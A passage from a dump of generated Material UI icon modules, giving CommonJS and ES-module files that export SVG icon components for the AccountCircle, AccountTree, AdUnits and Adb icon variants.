    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 4c1.93 0 3.5 1.57 3.5 3.5S13.93 13 12 13s-3.5-1.57-3.5-3.5S10.07 6 12 6m0 14c-2.03 0-4.43-.82-6.14-2.88C7.55 15.8 9.68 15 12 15s4.45.8 6.14 2.12C16.43 19.18 14.03 20 12 20\"\n}), 'AccountCircleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccountCircleSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 4c1.93 0 3.5 1.57 3.5 3.5S13.93 13 12 13s-3.5-1.57-3.5-3.5S10.07 6 12 6m0 14c-2.03 0-4.43-.82-6.14-2.88C7.55 15.8 9.68 15 12 15s4.45.8 6.14 2.12C16.43 19.18 14.03 20 12 20\"\n}), 'AccountCircleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccountCircleTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-4.42 0-8 3.58-8 8 0 1.95.7 3.73 1.86 5.12C7.55 15.8 9.68 15 12 15s4.45.8 6.14 2.12C19.3 15.73 20 13.95 20 12c0-4.42-3.58-8-8-8m0 9c-1.93 0-3.5-1.57-3.5-3.5S10.07 6 12 6s3.5 1.57 3.5 3.5S13.93 13 12 13\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-1.74 0-3.34-.56-4.65-1.5C8.66 17.56 10.26 17 12 17s3.34.56 4.65 1.5c-1.31.94-2.91 1.5-4.65 1.5m6.14-2.88C16.45 15.8 14.32 15 12 15s-4.45.8-6.14 2.12C4.7 15.73 4 13.95 4 12c0-4.42 3.58-8 8-8s8 3.58 8 8c0 1.95-.7 3.73-1.86 5.12\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5.93c-1.93 0-3.5 1.57-3.5 3.5s1.57 3.5 3.5 3.5 3.5-1.57 3.5-3.5-1.57-3.5-3.5-3.5m0 5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}, \"2\")], 'AccountCircleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccountCircleTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-4.42 0-8 3.58-8 8 0 1.95.7 3.73 1.86 5.12C7.55 15.8 9.68 15 12 15s4.45.8 6.14 2.12C19.3 15.73 20 13.95 20 12c0-4.42-3.58-8-8-8m0 9c-1.93 0-3.5-1.57-3.5-3.5S10.07 6 12 6s3.5 1.57 3.5 3.5S13.93 13 12 13\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-1.74 0-3.34-.56-4.65-1.5C8.66 17.56 10.26 17 12 17s3.34.56 4.65 1.5c-1.31.94-2.91 1.5-4.65 1.5m6.14-2.88C16.45 15.8 14.32 15 12 15s-4.45.8-6.14 2.12C4.7 15.73 4 13.95 4 12c0-4.42 3.58-8 8-8s8 3.58 8 8c0 1.95-.7 3.73-1.86 5.12\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5.93c-1.93 0-3.5 1.57-3.5 3.5s1.57 3.5 3.5 3.5 3.5-1.57 3.5-3.5-1.57-3.5-3.5-3.5m0 5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}, \"2\")], 'AccountCircleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccountTree.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 11V3h-7v3H9V3H2v8h7V8h2v10h4v3h7v-8h-7v3h-2V8h2v3z\"\n}), 'AccountTree');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccountTree.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 11V3h-7v3H9V3H2v8h7V8h2v10h4v3h7v-8h-7v3h-2V8h2v3z\"\n}), 'AccountTree');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccountTreeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 11V3h-7v3H9V3H2v8h7V8h2v10h4v3h7v-8h-7v3h-2V8h2v3zM7 9H4V5h3zm10 6h3v4h-3zm0-10h3v4h-3z\"\n}), 'AccountTreeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccountTreeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 11V3h-7v3H9V3H2v8h7V8h2v10h4v3h7v-8h-7v3h-2V8h2v3zM7 9H4V5h3zm10 6h3v4h-3zm0-10h3v4h-3z\"\n}), 'AccountTreeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccountTreeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 11h3c1.11 0 2-.9 2-2V5c0-1.11-.9-2-2-2h-3c-1.11 0-2 .9-2 2v1H9.01V5c0-1.11-.9-2-2-2H4c-1.1 0-2 .9-2 2v4c0 1.11.9 2 2 2h3c1.11 0 2-.9 2-2V8h2v7.01c0 1.65 1.34 2.99 2.99 2.99H15v1c0 1.11.9 2 2 2h3c1.11 0 2-.9 2-2v-4c0-1.11-.9-2-2-2h-3c-1.11 0-2 .9-2 2v1h-1.01c-.54 0-.99-.45-.99-.99V8h2v1c0 1.1.9 2 2 2\"\n}), 'AccountTreeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccountTreeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 11h3c1.11 0 2-.9 2-2V5c0-1.11-.9-2-2-2h-3c-1.11 0-2 .9-2 2v1H9.01V5c0-1.11-.9-2-2-2H4c-1.1 0-2 .9-2 2v4c0 1.11.9 2 2 2h3c1.11 0 2-.9 2-2V8h2v7.01c0 1.65 1.34 2.99 2.99 2.99H15v1c0 1.11.9 2 2 2h3c1.11 0 2-.9 2-2v-4c0-1.11-.9-2-2-2h-3c-1.11 0-2 .9-2 2v1h-1.01c-.54 0-.99-.45-.99-.99V8h2v1c0 1.1.9 2 2 2\"\n}), 'AccountTreeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccountTreeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 11V3h-7v3H9V3H2v8h7V8h2v10h4v3h7v-8h-7v3h-2V8h2v3z\"\n}), 'AccountTreeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccountTreeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 11V3h-7v3H9V3H2v8h7V8h2v10h4v3h7v-8h-7v3h-2V8h2v3z\"\n}), 'AccountTreeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccountTreeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 11V3h-7v3H9V3H2v8h7V8h2v10h4v3h7v-8h-7v3h-2V8h2v3zM7 9H4V5h3zm10 6h3v4h-3zm0-10h3v4h-3z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 5v4H4V5zm13 0v4h-3V5zm0 10v4h-3v-4z\",\n  opacity: \".3\"\n}, \"1\")], 'AccountTreeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccountTreeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 11V3h-7v3H9V3H2v8h7V8h2v10h4v3h7v-8h-7v3h-2V8h2v3zM7 9H4V5h3zm10 6h3v4h-3zm0-10h3v4h-3z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 5v4H4V5zm13 0v4h-3V5zm0 10v4h-3v-4z\",\n  opacity: \".3\"\n}, \"1\")], 'AccountTreeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdUnits.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 18H7V5h10zM8 6h8v2H8z\"\n}), 'AdUnits');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdUnits.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 18H7V5h10zM8 6h8v2H8z\"\n}), 'AdUnits');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdUnitsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2M7 4V3h10v1zm0 14V6h10v12zm0 3v-1h10v1z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 7H8v2h8z\"\n}, \"1\")], 'AdUnitsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdUnitsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2M7 4V3h10v1zm0 14V6h10v12zm0 3v-1h10v1z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 7H8v2h8z\"\n}, \"1\")], 'AdUnitsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdUnitsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m-1 18H8c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h8c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 6H9c-.55 0-1 .45-1 1s.45 1 1 1h6c.55 0 1-.45 1-1s-.45-1-1-1\"\n}, \"1\")], 'AdUnitsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdUnitsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m-1 18H8c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h8c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 6H9c-.55 0-1 .45-1 1s.45 1 1 1h6c.55 0 1-.45 1-1s-.45-1-1-1\"\n}, \"1\")], 'AdUnitsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdUnitsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 1H5v22h14zm-2 18H7V5h10z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 6h8v2H8z\"\n}, \"1\")], 'AdUnitsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdUnitsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 1H5v22h14zm-2 18H7V5h10z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 6h8v2H8z\"\n}, \"1\")], 'AdUnitsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdUnitsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 3h10v1H7zm0 17h10v1H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2M7 4V3h10v1zm0 14V6h10v12zm0 3v-1h10v1z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 7H8v2h8z\"\n}, \"2\")], 'AdUnitsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdUnitsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 3h10v1H7zm0 17h10v1H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2M7 4V3h10v1zm0 14V6h10v12zm0 3v-1h10v1z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 7H8v2h8z\"\n}, \"2\")], 'AdUnitsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Adb.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 16c0 3.87 3.13 7 7 7s7-3.13 7-7v-4H5zM16.12 4.37l2.1-2.1-.82-.83-2.3 2.31C14.16 3.28 13.12 3 12 3s-2.16.28-3.09.75L6.6 1.44l-.82.83 2.1 2.1C6.14 5.64 5 7.68 5 10v1h14v-1c0-2.32-1.14-4.36-2.88-5.63M9 9c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m6 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'Adb');"
  },
  {
    "path": "packages/mui-icons-material/lib/Adb.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 16c0 3.87 3.13 7 7 7s7-3.13 7-7v-4H5zM16.12 4.37l2.1-2.1-.82-.83-2.3 2.31C14.16 3.28 13.12 3 12 3s-2.16.28-3.09.75L6.6 1.44l-.82.83 2.1 2.1C6.14 5.64 5 7.68 5 10v1h14v-1c0-2.32-1.14-4.36-2.88-5.63M9 9c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m6 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'Adb');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdbOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 16c0 3.87 3.13 7 7 7s7-3.13 7-7v-4H5zM16.12 4.37l2.1-2.1-.82-.83-2.3 2.31C14.16 3.28 13.12 3 12 3s-2.16.28-3.09.75L6.6 1.44l-.82.83 2.1 2.1C6.14 5.64 5 7.68 5 10v1h14v-1c0-2.32-1.14-4.36-2.88-5.63M9 9c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m6 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'AdbOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdbOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 16c0 3.87 3.13 7 7 7s7-3.13 7-7v-4H5zM16.12 4.37l2.1-2.1-.82-.83-2.3 2.31C14.16 3.28 13.12 3 12 3s-2.16.28-3.09.75L6.6 1.44l-.82.83 2.1 2.1C6.14 5.64 5 7.68 5 10v1h14v-1c0-2.32-1.14-4.36-2.88-5.63M9 9c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m6 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'AdbOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdbRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 16c0 3.87 3.13 7 7 7s7-3.13 7-7v-4H5zM16.12 4.37l2.1-2.1-.82-.83-2.3 2.31C14.16 3.28 13.12 3 12 3s-2.16.28-3.09.75L6.6 1.44l-.82.83 2.1 2.1C6.14 5.64 5 7.68 5 10v1h14v-1c0-2.32-1.14-4.36-2.88-5.63M9 9c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m6 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'AdbRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdbRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 16c0 3.87 3.13 7 7 7s7-3.13 7-7v-4H5zM16.12 4.37l2.1-2.1-.82-.83-2.3 2.31C14.16 3.28 13.12 3 12 3s-2.16.28-3.09.75L6.6 1.44l-.82.83 2.1 2.1C6.14 5.64 5 7.68 5 10v1h14v-1c0-2.32-1.14-4.36-2.88-5.63M9 9c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m6 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'AdbRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdbSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 16c0 3.87 3.13 7 7 7s7-3.13 7-7v-4H5zM16.12 4.37l2.1-2.1-.82-.83-2.3 2.31C14.16 3.28 13.12 3 12 3s-2.16.28-3.09.75L6.6 1.44l-.82.83 2.1 2.1C6.14 5.64 5 7.68 5 10v1h14v-1c0-2.32-1.14-4.36-2.88-5.63M9 9c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m6 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'AdbSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdbSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 16c0 3.87 3.13 7 7 7s7-3.13 7-7v-4H5zM16.12 4.37l2.1-2.1-.82-.83-2.3 2.31C14.16 3.28 13.12 3 12 3s-2.16.28-3.09.75L6.6 1.44l-.82.83 2.1 2.1C6.14 5.64 5 7.68 5 10v1h14v-1c0-2.32-1.14-4.36-2.88-5.63M9 9c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m6 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'AdbSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdbTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 16c0 3.87 3.13 7 7 7s7-3.13 7-7v-4H5zM16.12 4.37l2.1-2.1-.82-.83-2.3 2.31C14.16 3.28 13.12 3 12 3s-2.16.28-3.09.75L6.6 1.44l-.82.83 2.1 2.1C6.14 5.64 5 7.68 5 10v1h14v-1c0-2.32-1.14-4.36-2.88-5.63M9 9c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m6 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'AdbTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdbTwoTone.mjs",
